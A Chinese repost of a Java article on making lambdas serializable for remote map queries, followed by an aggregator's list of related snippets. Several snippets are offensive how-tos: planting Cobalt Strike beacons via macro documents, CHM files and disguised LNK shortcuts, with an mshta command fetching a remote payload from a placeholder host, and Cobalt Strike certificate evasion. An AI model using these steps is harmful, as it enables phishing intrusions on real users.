如何以及为什么序列化Lambda

总览

lambda序列化在许多用例中很有用,例如持久配置或作为远程资源的访客模式 。

远程访客

例如,因此我想访问远程Map上的资源,可以使用get / put,但是说我只想从Map的值中返回一个字段,我可以将lambda作为访问者来传递以提取信息。我想要。

MapView userMap =Chassis.acquireMap("users", String.class, UserInfo.class);
userMap.put("userid", new UserInfo("User's Name"));// print out changesuserInfo.registerSubscriber(System.out::println);// obtain just the fullName without downloading the whole object
String name= userMap.applyToKey("userid", u -> u.fullName);// increment a counter atomically and trigger
// an updated event printed with the subscriber.
userMap.asyncUpdateKey("userid", ui -> {ui.usageCounter++;return ui;
});// increment a counter and return the userid
int count = userMap.syncUpdateKey("userid",ui -> { ui.usageCounter++; return ui;},ui -> ui.usageCounter);

如您所见,添加各种简单功能或调用方法来执行所需的操作很容易。 唯一的问题是默认情况下lambda无法序列化。

可序列化的Lambda

使lambda可序列化的一种简单方法是将&的可转换类型添加到引用lambda的实现的变量中。

Function<UserInfo, String> fullNameFunc = (Function<UserInfo,String> & Serializable) ui -> ui.fullName;
String fullName = userInfo.applyToKey("userid", fullNameFunc);

如您所见,这引入了很多样板。 使用lambda的一个关键原因是避免样板代码,那么替代方法是什么?

使lambda可在您的API中序列化。

不幸的是,无法更改标准API或添加其子类,但是如果您拥有自己的API,则可以使用Serializable接口。

@FunctionalInterface
public interface SerializableFunction<I, O> extends Function<I, O>, Serializable {
}

该接口可用作参数类型。

default <R> R applyToKey(K key, @NotNull SerializableFunction<E, R> function) {return function.apply(get(key));
}

您的API用户不必明确声明lambda是可序列化的。

// obtain just the fullName without downloading the whole object
String name= userMap.applyToKey("userid", u -> u.fullName);

远程实现对lambda进行序列化,然后在服务器上执行该lambda并返回结果。

类似地,存在将lambda应用于整个地图的方法。

查询和订阅

为了支持查询,如果要隐式添加Serializable,则不能使用内置的stream()API。 但是,您可以创建一个尽可能相似的文件。

Map> collect = userMap.entrySet().query().filter(e -> e.getKey().matches("u*d")).map(e -> e.getValue()).collect(Collectors.groupingBy(u -> u.usageCounter));

或作为过滤的订阅。

// print userid which have a usageCounter > 10 each time it is incremented.        userMap.entrySet().query().filter(e -> e.getValue().usageCounter > 10).map(e -> e.getKey()).subscribe(System.out::println);

这与常规流API的不同之处在于,数据可以分布在许多服务器上,并且当任何服务器上的数据发生更改时,您都会得到回调。 在服务器上应用过滤器和映射时,只有您感兴趣的数据才通过网络发送。

Java序列化

Java序列化是一个很好的通用化,向后兼容的序列化库。 替代方案尝试解决的两个最常见问题是性能和跨平台序列化。

在上面的示例中,fullNameFunc序列化到700多个字节,并且有非常有限的选项来优化它以减少消息的大小或产生的垃圾量。 相比之下,简单的二进制YAML序列化使用348,并提供更多选项来优化序列化。

这就提出了如何使用替代,跨平台或更快的序列化格式来序列化lambda的问题。

替代序列化

您可以加入当前的序列化机制。 不支持此功能,它可以随时更改,但是没有其他受支持的方式来执行此操作。

无论如何,您可以这样做:

Method writeReplace = lambda.getClass().getDeclaredMethod("writeReplace");
writeReplace.setAccessible(true);
SerializedLambda sl = (SerializedLambda) writeReplace.invoke(lambda);

这为您提供了一个对象,您可以检查该对象以提取lambda的内容。 要么查看它调用什么方法,要么对其进行序列化。 在反序列化方面,您可以重新创建该对象并可以在该对象上读取Resolve。

标准API

当前,没有用于内省lambda的标准API。 这样做是有意进行的,以便将来可以更改实现,尽管没有公共JEP可以这样做。 但是,就像Unsafe是内部API一样,我期待有一天可以使用标准API,而不必深入研究JVM的内部来实现解决方案。

结论

通过对API进行一些更改,您可以使序列化lambda对开发人员而言基本上是透明的。 这使实现简单的分布式系统更易于使用,同时为您提供了优化方法。

翻译自: https://www.javacodegeeks.com/2015/07/how-and-why-to-serialize-lambdas.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/358241.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

NSTimer注意内存泄露(真该死)

NSTimer可以用来执行一些定时任务&#xff0c;比较常用的方法就是&#xff1a; (NSTimer *)timerWithTimeInterval:(NSTimeInterval)ti target:(id)aTarget selector:(SEL)aSelector userInfo:(id)userInfo repeats:(BOOL)yesOrNo; 可是&#xff0c;仔细看官方文档中对于参数t…

Redis漏洞利用的4种方法

Redis简介 redis是一个key-value存储系统。和Memcached类似&#xff0c;它支持存储的value类型相对更多&#xff0c;包括string(字符串)、list(链表)、set(集合)、zset(sorted set --有序集合)和hash&#xff08;哈希类型&#xff09;。这些数据类型都支持push/pop、add/remov…

系统已有MYSQL环境,如何安装宝塔面板

最近一直想搞一个在线博客网站&#xff0c;把代码部署到服务器。 下载己经下载了宝塔的.exe文件,安装提示系统已经存在MYSQL环境&#xff0c;请用纯净系统安装。 因为我以前做java的&#xff0c;已经装了&#xff0c;现在把它卸载即可。 WINR打开注册表输入regedit。 删除HK…

Mysql命令alter add:增加表的字段

alter add命令用来增加表的字段。alter add命令格式&#xff1a;alter table 表名 add字段 类型 其他;例如&#xff0c;在表MyClass中添加了一个字段passtest&#xff0c;类型为int(4)&#xff0c;默认值为0&#xff1a; mysql> alter table MyClass add passtest int(4) …

宝塔命令号操作全-最实用的莫过于修改密码啦

连续输入五次密码错误&#xff0c;只能CMD进行操作啦。看上图。

swaks使用教程

Swaks基本用法&#xff1a; 1、swaks --to testqq.com 测试邮箱的连通性&#xff1b; 2、参数说明&#xff08;这里只是简单的罗列了一些&#xff0c;至于更加具体的内容可以使用–help进行查看了解&#xff09;&#xff1a; --from testqq.com //发件人邮箱&#xff1…

具有Rx-Java的Couchbase Java SDK

关于Couchbase Java SDK的一件整洁的事情是&#xff0c;它建立在出色的Rx-Java库的基础上&#xff0c;这为与Couchbase服务器实例进行交互提供了一种反应性的方式&#xff0c;一旦掌握了它&#xff0c;它就非常直观。 考虑一个我打算存储在Couchbase中的非常简单的json文档&am…

电脑win7支持的node.js版本

从官网看了都是最新的版本,我这电脑是win7的,最新版支持最低版本win8.1. 只能找一个支持win7、的node版本。 官网:https://nodejs.org/en/download/ 历史版本:https://nodejs.org/en/download/releases/ 建议打开图标下载,打开链接下载速度特别慢。 下载完成后直接傻瓜式安…

in-place数据交换

实现in-place的数据交换 声明&#xff1a;引用请注明出处http://blog.csdn.net/lg1259156776/ 经典的排序问题 问题描述 一个数组中包含两个已经排好序的子数组&#xff0c;设计一个in-place&#xff08;原位操作&#xff09;算法来对这个数组排序。测试数据为 a[] 1 4 5 7 8 …

Office-DOC加载宏-上线CS

原理 将直接加载远程带有宏的恶意模版使用。 缺点 目标主机的网速决定了加载远程模版的速度。有可能文件打开的会特别慢(例如将远程模版放在github)&#xff0c;受害者可能在文件打开一半的时候强制关闭word。优点 因为是远程加载&#xff0c;所以免杀效果十分不错。基本不会…

防抖函数和节流函数的实现,这个是在某保险公司笔试题遇到的。

scroll 事件本身会触发页面的重新渲染,同时 scroll 事件的 handler 又会被高频度的触发, 因此事件的 handler 内部不应该有复杂操作,例如 DOM 操作就不应该放在事件处理中。 针对此类高频度触发事件问题(例如页面 scroll ,屏幕 resize,监听用户输入等),下面介绍两种常用…

电子书-CHM-上线CS

电子书-CHM-加载JS&PS-上线CS 1.对CS进行设置 服务端配置CS-客户端打开-攻击-钓鱼攻击-脚本web传递-配置选择监听器-设置端口-选择类型为power shell-点击开始-复制生成的利用代码 2.对当前.CHM电子书进行解压 进入文件后选择任意文件夹进入 3.这里演示&#xff1a;进入…

正则表达式常用符号所代表的含义

{n} n次 {1,3} 1~3次 {1,} 1到多次 1到多次 ? 0到一次 * 0到多次 ^ 匹配一行开始 $ 匹配一行结束 [abc] /[abc]/ 匹配"abc"中任意一…

发布单机端DELPHI程序访问MySQL必备文件

如图: 将你的DELPHI程序和midas.dlllibmysql.dllDbxmys.dll 放在同一目录下即可.转载于:https://www.cnblogs.com/smartlittleant/p/4838327.html

java java se_Java SE 7、8、9 –推动Java前进

java java se今天&#xff08;注&#xff1a;2011年10月4日&#xff09;是主题演讲日。 JavaOne Keynote将于今早从上午8:30到10:30进行&#xff0c;而我的新闻通行证又一次让我很早就参加了。 因此&#xff0c;我有时间在所有关键球员准备就绪并可能感到紧张的同时为其拍摄一些…

css中clear的作用是什么?

clear : none | left | right | both. 对于CSS的清除浮动(clear)&#xff0c;一定要牢记&#xff1a;这个规则只能影响使用清除的元素本身&#xff0c;不能影响其他元素。 清除浮动方法&#xff0c; 1&#xff0c;给父级元素添加class“clearflex” 2&#xff0c;在css中给父…

利用快捷方式-LNK-上线CS

步骤: 1、生成&#xff1a;Attacks -> Packages -> Html Application 2、上传&#xff1a;Attacks——>Web Drive by——>Host file 3、执行&#xff1a;C:\Windows\System32\mshta.exe http://xx.xx.xx.xx:xx/x.ext 4、伪装&#xff1a; -创建快捷方式 -生成HTA并…

基本算法研究1-冒泡排序算法测试

基本算法研究1-冒泡排序算法测试 1、经典冒泡排序法基本原理 先看一个动态图&#xff0c;感觉比较形象&#xff1a; 冒泡排序&#xff08;Bubble Sort&#xff09;是一种简单的排序算法。默认是从小到大排序&#xff0c;即把最大的数据排在最后&#xff0c;相当于每次把最大数据…

当margin-top、padding-top的值是百分比时,分别是如何计算的?

CSS 百分比参照问题 参照父元素宽度的元素&#xff1a;padding margin width text-indent 参照父元素高度的元素&#xff1a;height 参照父元素属性:font-size line-height 特殊&#xff1a;相对定位的时候&#xff0c;top(bottom) left(right)参照的是父元素的内容区域的高度与…

CS-证书指纹修改

cobaltstrike.store是cobalt strike的证书文件&#xff0c;CS是java编写的&#xff0c;修改证书需要Java环境&#xff0c;搜索keytool,把证书复制到该目录进行操作&#xff0c;需要cmd以管理员权限才能生成成功。 证书默认密码&#xff1a;123456 查看证书指纹&#xff1a; key…